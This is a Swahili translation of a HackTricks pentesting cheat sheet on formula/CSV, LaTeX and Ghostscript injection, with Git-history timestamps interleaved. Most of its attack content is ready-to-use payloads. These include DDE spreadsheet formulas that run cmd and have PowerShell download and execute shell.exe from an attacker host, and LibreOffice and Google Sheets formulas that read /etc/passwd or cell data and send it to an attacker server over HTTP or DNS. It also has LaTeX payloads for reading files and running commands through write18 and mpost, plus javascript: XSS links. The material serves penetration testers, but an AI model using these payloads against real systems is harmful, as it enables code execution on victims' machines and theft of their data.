hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

219 lines
12 KiB
Markdown
Raw Normal View History

# Uingizaji wa Fomula/CSV/Doc/LaTeX/GhostScript
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Uingizaji wa Fomula
2023-09-02 23:48:41 +00:00
### Taarifa
2022-07-10 22:26:52 +00:00
Ikiwa **kuingizwa kwako** kunakuwa **kimeakisiwa** ndani ya **faili za CSV** (au faili yoyote ambayo labda itafunguliwa na **Excel**), unaweza kuweka **fomula za Excel** ambazo zita **tekelezwa** wakati mtumiaji **anafungua faili** au wakati mtumiaji **anabonyeza kiungo** ndani ya karatasi ya Excel.
{% hint style="danger" %}
Leo hii **Excel itatoa tahadhari** (mara kadhaa) kwa **mtumiaji wakati kitu kinapakuliwa kutoka nje ya Excel** ili kumzuia kufanya kitendo cha uovu. Kwa hivyo, juhudi maalum za Uhandisi wa Kijamii lazima zitumike kwa mzigo wa mwisho.
{% endhint %}
2024-02-11 02:13:58 +00:00
### [Orodha ya Maneno](https://github.com/payloadbox/csv-injection-payloads)
2022-09-29 15:13:42 +00:00
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Kiungo
2022-09-29 15:13:42 +00:00
**Mfano ufuatao ni muhimu sana kwa kuchukua maudhui kutoka kwenye karatasi ya mwisho ya Excel na kufanya maombi kwa maeneo ya kupendelea. Lakini inahitaji mtumiaji bonyeza kiungo (na kukubali onyo).**
2024-02-11 02:13:58 +00:00
Mfano ufuatao ulichukuliwa kutoka [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unaochunguzwa kupitia shambulio la kuingiza CSV. Nia kuu ya muhusika ni kuhatarisha mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Mbinu inahusisha muhusika kuingiza mzigo mbaya kwenye programu, hasa kwa kuingiza fomula zenye madhara kwenye maeneo yanayolenga maelezo ya wanafunzi. Shambulio linatokea kama ifuatavyo:
2024-02-11 02:13:58 +00:00
1. **Kuingiza Mzigo Mbaya:**
* Muhusika anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumiwa kawaida kwenye karatasi za kielektroniki (k.m., `=HYPERLINK("<malicious_link>","Bonyeza hapa")`).
* Fomula hii imeundwa kujenga kiungo, lakini inaelekeza kwenye seva mbaya inayodhibitiwa na muhusika.
2. **Kuuza Data Iliyohatarishwa:**
* Walimu, bila kujua kuhusu tishio, hutumia utendaji wa programu kuuza data kwenye faili ya CSV.
* Faili ya CSV, ikifunguliwa, bado ina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa kwenye karatasi ya kielektroniki.
2024-02-11 02:13:58 +00:00
3. **Kuzindua Shambulio:**
* Mwalimu anabonyeza kiungo, akiamini kuwa sehemu halali ya maelezo ya mwanafunzi.
* Baada ya kubonyeza, data nyeti (ikiwa ni pamoja na maelezo kutoka kwenye karatasi ya kielektroniki au kompyuta ya mwalimu) inatumwa kwenye seva ya muhusika.
4. **Kuingiza Data:**
* Seva ya muhusika inapokea na kuingiza data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu.
* Muhusika anaweza kutumia data hii kwa madhumuni mbaya mbalimbali, ikahatarisha zaidi faragha na usalama wa wanafunzi na taasisi.
2022-07-10 22:26:52 +00:00
### RCE
**Angalia** [**chapisho la awali**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **kwa maelezo zaidi.**
Katika mipangilio maalum au toleo za zamani za Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumiwa kutekeleza amri za kupendelea. Ili kutumia hili, mipangilio ifuatayo lazima iwezeshwe:
* Nenda kwa Faili → Chaguo → Kituo cha Kuaminika → Mipangilio ya Kituo cha Kuaminika → Yaliyomo ya Nje, na wezesha **Uzinduzi wa Seva ya Kubadilishana Data ya Kudumu**.
2021-06-29 12:49:13 +00:00
Wakati karatasi ya kielektroniki yenye mzigo mbaya inapofunguliwa (na ikiwa mtumiaji anakubali onyo), mzigo huo unatekelezwa. Kwa mfano, kuzindua programu ya kuhesabu, mzigo ungekuwa:
2024-02-06 03:10:38 +00:00
```markdown
`=cmd|' /C calc'!xxx`
2021-06-29 12:49:13 +00:00
```
Unaweza pia kutekeleza amri zaidi, kama vile kupakua na kutekeleza faili kutumia PowerShell:
2024-02-06 03:10:38 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
2021-06-29 12:49:13 +00:00
```
2024-02-11 02:13:58 +00:00
### Uingizaji wa Faili ya Ndani (LFI) katika LibreOffice Calc
2021-06-29 12:49:13 +00:00
LibreOffice Calc inaweza kutumika kusoma faili za ndani na kutoa data. Hapa kuna njia kadhaa:
2021-06-29 12:49:13 +00:00
* Kusoma mstari wa kwanza kutoka kwa faili ya ndani `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Kutoa data iliyosomwa kwa seva iliyo na udhibiti wa mshambuliaji: `=WEBSERVICE(CONCATENATE("http://<anwani ya IP ya mshambuliaji>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Kutoa zaidi ya mstari mmoja: `=WEBSERVICE(CONCATENATE("http://<anwani ya IP ya mshambuliaji>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Utoaji wa DNS (kutuma data iliyosomwa kama maswali ya DNS kwa seva ya DNS iliyo na udhibiti wa mshambuliaji): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<kikoa cha mshambuliaji>"))`
2021-06-29 12:49:13 +00:00
### Google Sheets kwa Utoaji wa Data wa Nje ya Band (OOB)
2021-06-29 12:49:13 +00:00
Google Sheets inatoa kazi ambazo zinaweza kutumiwa kwa utoaji wa data wa OOB:
2021-06-29 12:49:13 +00:00
* **CONCATENATE**: Inaunganisha vivuli pamoja - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Inaingiza data kutoka kwa aina za data zilizopangwa - `=IMPORTXML(CONCAT("http://<anwani ya IP ya mshambuliaji:Bandari>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Inaingiza vyanzo vya RSS au ATOM - `=IMPORTFEED(CONCAT("http://<anwani ya IP ya mshambuliaji:Bandari>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Inaingiza data kutoka kwa meza au orodha za HTML - `=IMPORTHTML (CONCAT("http://<anwani ya IP ya mshambuliaji:Bandari>/123.txt?v=", CONCATENATE(A2:E2)),"meza",1)`
* **IMPORTRANGE**: Inaingiza safu ya seli kutoka kwa karatasi nyingine ya hesabu - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Kitambulisho cha Karatasi]", "karatasi1!A2:E2")`
* **IMAGE**: Inaweka picha kwenye seli - `=IMAGE("https://<anwani ya IP ya mshambuliaji:Bandari>/images/srpr/logo3w.png")`
2022-07-10 22:26:52 +00:00
2024-02-11 02:13:58 +00:00
## Uingizaji wa LaTeX
2022-07-10 22:26:52 +00:00
Kawaida seva ambazo utazipata kwenye mtandao zinatumia **`pdflatex`** kubadilisha msimbo wa LaTeX kuwa PDF.\
Programu hii hutumia sifa 3 kuu kwa ajili ya kutekeleza au kutokutekeleza amri:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: **Zima** ujenzi wa `\write18{amri}`, hata kama umewezeshwa kwenye faili ya texmf.cnf.
* **`--shell-restricted`**: Sawa na `--shell-escape`, lakini **imepunguzwa** kwa seti 'salama' ya **amri zilizopangwa** (\*\*Kwenye Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Washa** ujenzi wa `\write18{amri}`. Amri inaweza kuwa amri yoyote ya kabati. Ujenzi huu kawaida unazuiliwa kwa sababu za usalama.
2022-07-10 22:26:52 +00:00
Hata hivyo, kuna njia nyingine za kutekeleza amri, hivyo ili kuepuka RCE ni muhimu sana kutumia `--shell-restricted`.
2022-07-10 22:26:52 +00:00
### Soma faili <a href="#soma-faili" id="soma-faili"></a>
Inaweza kuhitaji kurekebisha uingizaji na vifungashio kama \[ au $.
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
2024-02-11 02:13:58 +00:00
#### Soma faili lenye mstari mmoja
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
2024-02-11 02:13:58 +00:00
#### Soma faili lenye mistari mingi
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2024-02-11 02:13:58 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
### Andika fail <a href="#andika-fail" id="andika-fail"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Kutumia Amri <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
Kuingiza amri kutoka kwa stdin, tumia faili la muda kupata hiyo.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
Ikiwa unapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila herufi mbaya
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Kuvuka Site Scripting <a href="#kuvuka-site-scripting" id="kuvuka-site-scripting"></a>
2022-07-10 22:26:52 +00:00
2024-02-11 02:13:58 +00:00
Kutoka [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Uingizaji wa Ghostscript
2022-07-10 22:26:52 +00:00
**Angalia** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
2024-02-11 02:13:58 +00:00
## Marejeo
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-31 01:25:17 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>